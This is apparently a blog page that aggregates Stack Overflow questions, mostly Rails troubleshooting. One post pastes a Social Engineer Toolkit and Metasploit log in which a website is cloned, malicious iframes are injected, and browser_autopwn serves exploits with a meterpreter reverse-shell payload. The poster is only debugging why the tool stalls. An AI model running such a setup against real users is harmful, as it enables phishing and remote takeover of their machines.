Saturday, November 19, 2016

how to import .sqlite3 file to a existing table in rails | Fixed issues

how to import .sqlite3 file to a existing table in rails | Fixed issues


how to import .sqlite3 file to a existing table in rails

Posted: 19 Nov 2016 07:38 AM PST

I have a table in my rails application and i want to load it with a .sqlite3 file i have.

I am really new to sqlite and not sure how i do that, can anyone please help.

when i execute .tables i see

employee       schema_migrations  

in the result.

Now i want to load .sqlite3 file to employee table

i have tried

.import 'file_path' 'employee' but it says    Error: no such table: employee;  

I am not sure what is going wrong, any suggestions would be welcome.

Thanks.

What's the best practice to pass Android access token to rails server?

Posted: 19 Nov 2016 07:50 AM PST

I've read several articles about Facebook Login Security.

There were a few suggestions which inclue:

  1. OAuth Code Flow.

  2. App secret proof.

However, when I try to use Facebook Android SDK to retrieve OAuth code from a signed in request, it cannot be done.

How should I pass the Android access token to a server?

Active Record doesn't update collection when there is joins and includes in query

Posted: 19 Nov 2016 07:14 AM PST

Hello I've a problem with my query. There are my models below:

class Owner    has_many :busiensses    has_many :adverts  end    class Business    belongs_to :owner  end    class Advert    belongs_to :owner  end  

When I make this query everything is okay and it returns right collection full of needed objects:

 Owner.joins(:adverts).includes(:businesses)     .where(businesses: {owner_id: nil})  

But when I add to query update it raises error

 Owner.joins(:adverts).includes(:businesses)     .where(businesses: {owner_id: nil})     .update_all(status: 'sth')  

Error:

 ActiveRecord::StatementInvalid: PG::UndefinedTable: ERROR:  missing FROM-clause entry for table "businesses"  

Where is the problem? I bet this error from SQL and it raised when you forget add sth to FROM statement and that sth needed in further conditions, but where in AR i forgot to add it?

Metasploit gets stuck after finding exploit modules

Posted: 19 Nov 2016 06:59 AM PST

Through SET[Social engineer toolkit] I used
I used Windows Reverse_TCP meterpreter
Later this is what happened:
set:payloads> Port to use for the reverse [443]:443
[*] Cloning the website: http://www.****.com
[*] This could take a little bit...
[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.

[*] Apache appears to be running, moving files into Apache's home

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on Windows, Linux, and OSX [--]
[--] Apache web server is currently in use for performance. [--]
[*] Moving payload into cloned website.
[*] The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...
[-] This may take a few to load MSF...
[-] No database definition for environment production

=[ metasploit v4.13.0-dev-66ba2b0 ]
+ -- --=[ 1603 exploits - 912 auxiliary - 275 post ]
+ -- --=[ 458 payloads - 39 encoders - 9 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /root/.set//meta_config for ERB directives.
resource (/root/.set//meta_config)> use auxiliary/server/browser_autopwn
resource (/root/.set//meta_config)> set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set//meta_config)> set LHOST 192.168.0.106
LHOST => 192.168.0.106
resource (/root/.set//meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set//meta_config)> set URIPATH /
URIPATH => /
resource (/root/.set//meta_config)> set SRVPORT 8080
SRVPORT => 8080
resource (/root/.set//meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set//meta_config)> exploit -j
[*] Auxiliary module running as background job

[*] Setup

[*] Starting exploit modules on host 192.168.0.106...
[*] ---

msf auxiliary(browser_autopwn) > [*] Starting exploit
android/browser/webview_addjavascriptinterface with payload
android/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/NRzPxWSOAngaQ
[*] Local IP: http://192.168.0.106:8080/NRzPxWSOAngaQ
[*] Server started.

[*] --- Done, found 20 exploit modules

[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.0.106:8080/
[*] Server started.

After this it pauses! does not go ahead for hours(waited for 2hrs)

My IP: 192.168.0.106 OS: Linux Mint MATE`

Acess the whole traceback

Ember Js-Receiving Image From User

Posted: 19 Nov 2016 06:57 AM PST

In rails, since we can upload images with a form using gems like paperclip and carrierwave, and then resize them, how do i do same thing while using rails only for backend to an Ember Js app?

TL;DR is, i have an Ember+Rails app.How do i receive image from user and resize it later?

Ruby on Rails foreign key field cannot be null

Posted: 19 Nov 2016 06:32 AM PST

I have a Rails application where there is a User model and a Role model.

Role can be either Superuser, Admin or User.

My Users table migration looks like this:

class CreateUsers < ActiveRecord::Migration[5.0]    def change      create_table :users do |t|        t.string :first_name        t.string :last_name        t.string :username        t.string :email        t.string :password        t.string :password_digest        t.boolean :banned        t.references :role, foreign_key: true          t.timestamps      end    end  end  

Whenever I go to create my user using HTTP POST, I keep getting the error:

Role must exist  

Which is Rails telling me the field role for my User model cannot be null.

So I thought, well, I want my user created through HTTP POST to default to "User" role, so I have this in my User model:

class User < ApplicationRecord    belongs_to :role    has_secure_password    # validates :role, allow_nil: true      before_validation do      self.banned = false        # Users created through HTTP POST request should always      # default to 'User' role.      # Rails console created users will be explicitly set      # to 'Superuser' or 'Admin' roles.      self.role = Role.find_by({title: 'User'})      puts "User model set role fired!"    end  end  

This fixes the errors but now I have a problem.

When an admin user tries to change an existing user's role from "User" to "Admin", the before_validation method always fires, forever overwriting my POST params to specify new role for user.

In effect, I can never change the role of any users.

Am I doing something wrong?

Surely there's a way to create a user without any roles assigned at the start and then set the role later...

I've been scratching my head for hours.

How to group by first created_at?

Posted: 19 Nov 2016 05:53 AM PST

I have a model called Posts which are created by Users. Each post has a created_at attribute. I'd like to figure out how many users posted for the very first time on each date from a start-date to an end-date.

I'm trying to get a result like this:

1/1/2016: 15 posted for the first time  2/1/2016: 4 posted for the first time  3/1/2016: 0 posted for the first time  ...  

What's the best way to do this efficiently with ActiveRecord? :)

gem install pg error

Posted: 19 Nov 2016 05:21 AM PST

Got the following error message when I do

gem install pg    //** error message  failed, exit code 1    Gem files will remain installed in /Users/kianzyk/.rvm/gems/ruby-2.3.0/gems/pg-0.19.0 for inspection.  Results logged to /Users/kianzyk/.rvm/gems/ruby-2.3.0/extensions/x86_64-darwin-16/2.3.0/pg-0.19.0/gem_make.out  

I've tried

brew install postgresql  gem install pg  

still same error, not sure what happened, any suggestion is appreciated

Rails - How can I avoid using the database while performing a detect method?

Posted: 19 Nov 2016 06:55 AM PST

When performing detect on a int array, it works:

@number = [1,2,3,4,5,6,7].detect{|n| n == 4}  

Variable @number becomes 4.

But when I do something like this:

@categories = Category.all  @current_category = @categories.detect{|cat| cat.id == params[:category]}  

The program outputs

Category Load (0.2ms) SELECT "categories".* FROM "categories"

Which means it's using the database to find it.

However, the element I'm trying to find is already in the collection @categories, I just want to find it to assign it to a variable.

Of course another solution would be to implement a linear search algorithm, but I just want to keep the code as clean as possible.

How can I avoid using the database for this search?

EDIT: I just realized that this could be lazy fetching. Because before detect, I never use @categories, so it does the query when I do detect. Could this be true?

Rails getting data from another table

Posted: 19 Nov 2016 05:02 AM PST

app/models/road.rb

class Road < ActiveRecord::Base    has_many :segments  end  

app/models/segment.rb

class Segment < ActiveRecord::Base    belongs_to :road  end  

app/controllers/welcome_controller.rb

@segments = Segment.joins(:road).select("segments.id, segments.name,  segments.road_id, roads.name AS roadname, ST_AsGeoJson(segments.geom) AS  segment_geom")  

app/views/welcome/index.html.erb

<script>    <% @segments.each do |segment| %>      var segment<%= segment.id %> = new L.geoJson((<%= segment.segment_geom.to_s.html_safe %>), {style: statesegmentStyle})      .bindPopup('id: <%= segment.id %><br>road_name: <%= roadname %>').addTo(segments);    <% end %>  <script>  

when reload the page I get this:

undefined local variable or method `roadname' for #<#<Class:0x00000003a14ef8>:0x007f7ea4628d90>  

Ecommerce store customization using Spree

Posted: 19 Nov 2016 04:57 AM PST

I am building an ecommerce store using Spreecommerce to sell some merchandise. In addition to the "shop" where I have all the products listed, I also need a way for users to pay for the conferences that I'll be hosting. So, if a user clicks on "Participate" on one of the conference in conferences page, they are redirected to the cart page with that conference added in their cart.

I need to understand the best way to acheive something like this.

  1. Should I create "conferences" as products and give them some special taxonomy so that they are not visible in the listings page? What is the best approach to do this?
  2. Should I create a separate conferences model and integrate it with cart?

Multiple select in administrate

Posted: 19 Nov 2016 04:31 AM PST

Since administrate does not yet have support for multiple selects. Has anyone created a custom multiple select? Preferably one that works like the HasMany select.

Rendering HTML instead of JSON: Ruby on Rails

Posted: 19 Nov 2016 07:49 AM PST

I have an API that I am trying to call from a method within my application. Even though I am calling the API using the json format, and I am setting the respond_to to JSON, it still renders as HTML.

This is the method in the controller:

def index    @moviedetails = Moviedetail.all    respond_to :json  end  

This is the API call from the method

def self.searchHighestRating()    url="https://ruby-rsudding.c9users.io/moviedetails.json"    response = HTTParty.get(url)    responsebody = JSON.parse(response.body)    return responsebody  end  

Any thoughts around how I could resolve this?

Unknown long argument in pdfkit + Rails

Posted: 19 Nov 2016 03:39 AM PST

I'm generating PDF through pdfkit and it's working fine. I can download the PDF but when I change static content to Dynamic (Get from database) then I get unknown long argument error.

kit = PDFKit.new(url, {      orientation: 'Portrait',      header_center: 'Test Content'  })  kit.to_file("#{Rails.root}/tmp/#{filename}".pdf)  

I'm getting error on header_content.

rails prawn draw a line inside table or cell

Posted: 19 Nov 2016 03:15 AM PST

I have a table made up of many cells, and in one cell i want to draw a horizontal line, and if i try horizontal_line it shows table document unsupported type.

and i'm using prawn ruby gem

Ex

cell_1 = make_cell(:content => "this row content comes directly ", height: 62.5.mm, size: 6)  cell_2 = make_cell(:content => "this row content comes directly ", height: 62.5.mm, size: 6)  cell_3 = make_cell(:content => "this row content comes directly ", height: 62.5.mm, size: 6)  t = make_table([[cell_1],[cell2], [cell3])  t.draw  

i tried like using

cell4 = horizontal_rule(some values)  

make_table shows error unrecognized table content, when i add cell4 to it.

How do i draw line inside the table or make cell

OAuth with a non-gemified strategy service provider

Posted: 19 Nov 2016 03:06 AM PST

So I am building an application where users can login with a service provider that does not provide a gemified OAuth strategy. They provide me the necessary steps (and corresponding URLs) necessary to authenticate the user (here). However, I am not sure what is the best approach to include it in a rails application.

I've already done user authentication with Facebook (with the gemified OAuth strategy provided by facebook) and it was very straightforward. Although, this is different. I'v also tried to write a OAuth strategy by I am not sure what to write on client options (Facebook example here).

Can anyone help me? thanks

Very slow Sprockets in Rails 4 development environment: what's wrong?

Posted: 19 Nov 2016 02:39 AM PST

I've been banging my head over this for some time. Our project has grown to a reasonable size: approx. 250 JS files and 50 SASS files. Not too excessive, I would say. Still, Sprockets is taking a very long time to render all the assets. Even on simple page reloads, where I would expect to see some benefits of caching, it takes seconds to 10, 20, 30 and sometimes more seconds to serve all assets. And that's on a decent MacBook Pro with SSD.

Here's a flamegraph of one of the simplest pages: the login page. That takes about 12 seconds to load. The "real" application pages are much worse:

enter image description here

Setting config.assets.debug = false helps some, but at the same time, I would really love to keep it set to true for easier debugging.

Does anyone have any suggestions of how to make this more workable?

Rails "Get" Url to query Mongo DB

Posted: 19 Nov 2016 02:39 AM PST

There are a controller and a Model both named by 'Article'.

and I want to query the data in Mongo DB by passing the argument in the url.

e.g. http://localhost:3000/articles/?category.newsCat=UNCATEGORISED

By the above, I'd like the rails to show the Articles by category.newsCat=UNCATEGORISED.

Thanks.

enter image description here

Sengrid modifies links inside email and they dont redirect to correct page

Posted: 19 Nov 2016 02:17 AM PST

I have a rails app running in production with sengrid. At one point in my app I am sending an email with a confirmation link which redirects to a specific confirmation page :

%a.button.button-custom.button-blue{href: confirm_votes_path(@vote.confirmation_token, only_path: false)  

However in production, Sengrid seems to modify the link inside my mails. I get something like :

href="https://u3881616.ct.sendgrid.net/wf/click?upn=pVistOUxWTXmIPFqqAw0AnJt-2BbCLbreZ3xbCIcCjU0qXsxlkph8Wd3VafON-2FVyJfT0PWClbesX-2F2oOjnxeXwwaDA80aCKixoULvRGUX7PgDg59Vde4HU6spxlzuqyUUF_e4qGN2gUHpERWs59wU8LHyeuQCdWWdC4Yjpw10HvUcUonj0ZfIp-2FiYACT83qOqsHMBnkJGcBsjpIoSUjVySxVhEtqCz7myXFB-2B7uTWKruQbH-2BG7-2FI2-2BFdmXC6nbf-2FFpgyNUivvir0Upib8e5r8YJY3caF-2BpKD-2FscuINwBQkM7n008mEGADo5w5w5fejlzhopGHvJegbSRePJ-2BBu3b3olUhP2q-2BX4lyJAYvegG4xnDPU-3D"  

and the link redirects to the base url of my website and not the good confirmation url like it does locally.

What is going on with sengrid here

Ruby on Rails: Checkbox gets unchecked when trying to edit a post

Posted: 19 Nov 2016 05:25 AM PST

When i create a new post (passengerride), it is successfully storing multiple value in database. But, when i try to edit the post (passengerride), the checkboxes are getting unchecked.

This is my form:

apps/views/passengerrides/_form.html.erb:

<%= form_for @passengerride do |f| %>          ......            <div class="form-group ">              <div class="control-label col-sm-2 requiredField">                <%= f.label :okwithgender, 'Driver should be:' %>                <span class="asteriskField">*</span>              </div>                <div class="col-sm-8">                <div class=" ">                  <div class="checkbox">                      <label class="checkbox"><input id="okwithgender"  type="checkbox" value="Male" name="passengerride[okwithgender][]">Male</label>                    </div>                  <div class="checkbox">                      <label class="checkbox"><input id="okwithgender"  type="checkbox" value="Female" name="passengerride[okwithgender][]">Female</label>                    </div>                  <div class="checkbox">                      <label class="checkbox"><input id="okwithgender"  type="checkbox" value="Other" name="passengerride[okwithgender][]">Other</label>                    </div>                  <div class="checkbox">                      <label class="checkbox"><input id="okwithgender"  type="checkbox" value="Any Gender" name="passengerride[okwithgender][]">Any Gender</label>                    </div>                </div>              </div>            </div>       ....  <% end %>  

app/controllers/passengerrides_controllers:

  def passengerride_params        params[:passengerride][:okwithgender] = params[:passengerride][:okwithgender].join(', ')        params.require(:passengerride).permit(:origin, :destination ... :okwithgender)    end  

I guess using this <%= f.check_box ... %> will solve the problem, but i'm not sure how to write something equivalent to <input id="okwithgender" type="checkbox" value="Male" name="passengerride[okwithgender][]">

Why is this not the same code

Posted: 19 Nov 2016 01:54 AM PST

In my test I assure that two controller methods are called in a seperate helper class:

controller.expects(:sign_in).with(user).returns(:ok)  controller.expects(:redirect_to).returns(:ok)  

When my write my helper class like, that, the tests work as aspected and succeed:

  def call      @controller = context.controller        controller.sign_in user      controller.redirect_to remove_from_url(url)    end  

But when I change it to:

  def call      @controller = context.controller        controller do        sign_in user        redirect_to remove_from_url(url)      end    end  

Then the tests fail, as message I get:

expected exactly once, not yet invoked ...  

Why does this code not do the same?Thanks

1)  controller.sign_in user      controller.redirect_to remove_from_url(url)    2)  controller do        sign_in user        redirect_to remove_from_url(url)      end  

"Error Decrypting Wallet. Please check your password."

Posted: 19 Nov 2016 01:40 AM PST

I am implementing an application to send and receive bitcoin using Ruby on Rails.I am using https://blockchain.info/api/blockchain_wallet_api and https://github.com/blockchain/service-my-wallet-v3. I am getting this error "Error Decrypting Wallet. Please check your password." as response when i am sending API request even though my credentials were correct.In documentation they mentioned we have to install java to resolve this error.I installed java even though i am getting same error

Improve performance markers partial gmaps4rails with lot of row

Posted: 19 Nov 2016 01:32 AM PST

I m making an app with a map. I m using Gmaps4rails and partial to display infowindow on my maps. All works good, I can display markers.

I have more than 6000 row in my database. So when I made a query with lot of results, I have lot of markers and lot of partials, normal. Problem : Serveur perform is bad like 40 seconds to display the results :(

I dont know what is the best solution to resolve this. Maybe Ajax ? Or something like Airbnb (display marker when user move the maps) ?

Unfornuatly I don't know how implement this on my code... Can you help me ?

Thanks :)

Camping_controller.rb

def result    if params[:query].blank?      redirect_to action: :index and return    else      @campings = Camping.search(params[:query])    end      @hash = Gmaps4rails.build_markers(@campings) do |camping, marker|        marker.lat camping.latitude      marker.lng camping.longitude      marker.infowindow render_to_string(:partial => "/campings/infowindow", :locals => { :camping => camping})      marker.picture ({        "url" => "http://siteweb.com/map-pin.png",        "width" =>  29,        "height" => 32})      end    end  

result.html.erb

<div id="map"></div>  <script>  handler = Gmaps.build('Google');  handler.buildMap({ provider: {}, internal: {id: 'map'}}, function(){  markers = handler.addMarkers(<%=raw @hash.to_json %>);  handler.bounds.extendWith(markers);  handler.fitMapToBounds();  });  </script>  

jQuery script for making checkbox appear based on if selected category contains true boolean

Posted: 19 Nov 2016 12:47 AM PST

I am trying to check if there is a boolean value of true within the subcategory I select in a dropdown which in turn would make a checkbox appear.

In my form partial to create a new post I have to select a Category and a SubCategory accordingly. My SubCategories are seeded like so SubCategory.where(name: 'DB', service_type: true, category_id: 1_category.id).first_or_create.

The current javascript I am trying to make work is

$(document).ready(function () {        $("#service-select").hide();        $('#subcategory-select').change(function () {          var subcatServ = $(this).val();          $('#service-select').hide();          if (subcatServ === "Persons") {              $('#service-select').show();          }      });      });  

#select-service is where the checkbox and #subcategory-select is the selected subcategory. I currently use this JS to make SubCategories and the associated ID appear and be saved when I select their parent Category:

$(document).ready(function() {    var subcat;    subcat = $('#subcategory-select').html();    return $('#category-select').change(function() {      var cat, options;      cat = jQuery('#category-select').children('option').filter(':selected').text();      options = $(subcat).filter("optgroup[label='" + cat + "']").html();      if (options) {        return $('#subcategory-select').html(options);      } else {        return $('#subcategory-select').empty();      }    });  });  

HTML:

  <%= form_for @post do |f| %>    ....    ....    <p>  	<%= f.label :category_id%>  	<%= f.collection_select(:category_id, Category.all, :id, :name,      	               { prompt: 'Select a category' }, { id: 'category-select' }) %>    </p>    <p>  	<%= f.label :subcategory_id%>  	<%= f.grouped_collection_select :subcategory_id, Category.all, :sub_categories,   	          :name, :id, :name, { prompt: 'Select a sub category' },  	                                               { id: 'subcategory-select' } %>     </p>     <p>  	   <%= f.label "checkbox"%>  	   <%= f.check_box :serivce_type, id:'service_select' %> <!--work on-->     <p>    <%end%>

I'm unsure on how to do this and have thought about and researched how for ~30mins, any help would be appreciated.

how pass url helper in model with :locale parameter?

Posted: 19 Nov 2016 01:11 AM PST

I need pass in charge attributes in model contract_url(contract) I have following code in model CheckoutService:

delegate :url_helpers, to: 'Rails.application.routes'    def contract_url(cont)      url_helpers.contract_url(cont)    end  

In charge_attributes i need set url for attribute secureUrl, for example:

charge_attributes   {    secureReturnUrl: contract_url(contract)  }  

I get an error:

ActionController::UrlGenerationError: No route matches {:action=>"show", :controller=>"contracts", :locale=>#<Contract id: 13, ..} missing required keys: [:id]  

rake routes:

contract GET (/:locale)/contracts/:id(.:format) contracts#show {:locale=>/en|fr/} PATCH (/:locale)/contracts/:id(.:format)

If i call this url helper in controller or view work correct. How pass current locale in url in model? Thank you.

Rails: form_for with json: undefined method to_model for Hash

Posted: 19 Nov 2016 07:24 AM PST

Converted my site to use redis so a JSON array is sent to my views instead of an ActiveRecord array. Made all the necessary conversions like model.attribute to model['attribute'].

However, can't figure out getting my form_for to work. User can make a prediction on a game. The same _form.html.erb is used to create or update the prediction. The error I get, undefined method 'to_model' for #<Hash:0x007ff28d5f19c8> occurs on both of these lines:

_form.html.erb  <%= form_for [game, (prediction || Prediction.new)], remote: true do |f| %>  ...  <%= link_to "Delete", [game, prediction], method: :delete, remote: true, class: 'btn btn-xs btn-danger' if prediction.present? %>  

Any ideas? If you need more info, read below:

The link and partial:

# index.html.erb  @games.each do |game|  ...  <%= prediction_form_link(@predictions, game) %>  <%= render partial: 'predictions/form', locals: { game: game, prediction: prediction_for(@predictions, game) } %>  

Basically, load partial with form and pass in game and prediction, but also determine whether prediction already exists to be updated instead of created:

def prediction_for(predictions, game)       predictions["#{game['id']}"].first if predictions["#{game['id']}"].present?  end  def prediction_form_link(predictions, game)    if prediction = prediction_for(predictions, game)  ... # code that displays what this button looks like. Partial is loaded in a modal.  

Thank you.

Apple Push Notification / Ruby OpenSSL Error

Posted: 18 Nov 2016 11:50 PM PST

When trying to send the push notification from my rails application I'm getting this. I made sure the device token and .pem file are valid with the command

openssl s_client -connect gateway.sandbox.push.apple.com:2195 -cert aps_development.pem -key aps_development.pem

OpenSSL::SSL::SSLError: SSL_connect returned=1 errno=0 state=SSLv3 read finished A: tlsv1 alert internal error      from /Library/Ruby/Gems/2.0.0/gems/houston-2.2.3/lib/houston/connection.rb:44:in `connect'      from /Library/Ruby/Gems/2.0.0/gems/houston-2.2.3/lib/houston/connection.rb:44:in `open'      from /Library/Ruby/Gems/2.0.0/gems/houston-2.2.3/lib/houston/connection.rb:19:in `open'      from /Library/Ruby/Gems/2.0.0/gems/houston-2.2.3/lib/houston/client.rb:40:in `push'  

This error message is incredibly vague, can't figure out what is going on.

Activeadmin with rails

Posted: 18 Nov 2016 11:39 PM PST

I am working on active admin with devise installation and i have implement the card functionality in my project. But as soon as i installed the active admin gem i am getting the error after login into the active admin dashboard. When i refresh the page after some time it will throws an error on the page. The error i am receiving is:

A copy of ApplicationController has been removed from the module tree but is still active!

the code on which i am getting this error is : Controller/application_controller.rb

def current_cart          if user_signed_in?              @currentcart = Cart.find_by(user_id: current_user.id)              if @currentcart.present?                  @cart = @currentcart                  @cart_update = Cart.find(session[:cart_id])                  @items_update = @cart_update.items.update(cart_id: @currentcart.id)                  session[:cart_id] = @currentcart.id          else              @cart = Cart.find(session[:cart_id])              @cart.update(user_id: current_user.id)          end        else          if !session[:cart_id].nil?            puts session[:cart_id]              @cart = Cart.find(session[:cart_id])          else              @cart = Cart.create              session[:cart_id] = @cart.id          end      end      @cart  end  

the selected portion for the error: @cart = Cart.find(session[:cart_id])

Button_to not working as a link_to Rails

Posted: 19 Nov 2016 01:33 AM PST

Hi I would be happy to know why this is not working. I'm trying to put a button instead a link on my navbar, the link is working but the button is not redirecting me to the page I want to. this is the link which is working

      <%= link_to 'Iniciar Sesión', new_user_session_path, class: 'nav-link'%>  

And this is the button link which is not redirecting me to the login page.

<%= button_to "Inciar Sesión", new_user_session_path, :method => "get", class: 'btn btn-outline-success' %>  

Rails Pundit mini test assert_response Pundit::NotAuthorizedError

Posted: 18 Nov 2016 11:01 PM PST

I am using Rails 5 API, Pundit and all is going well. I am trying to test this specific case where if you're not the resource owner, you should not be able to view that user's info.

So I got a few user fixture sample data, Sarah and Jim are two of them.

I got this test case here:

test "user show - cannot show other user's info" do    get user_path(@sarah), headers: user_authenticated_header(@jim)    assert_raises(Pundit::NotAuthorizedError)  end  

I ran my test, all the other ones passed, except this one which says:

Error:  UsersControllerTest#test_user_show_-_cannot_show_other_user's_info:  Pundit::NotAuthorizedError: not allowed to show?  

Am I writing the assert_raise exception correctly? Why is my test not passing? It seems like once the error is raised, the next line in my test is not ran anymore.

No comments:

Post a Comment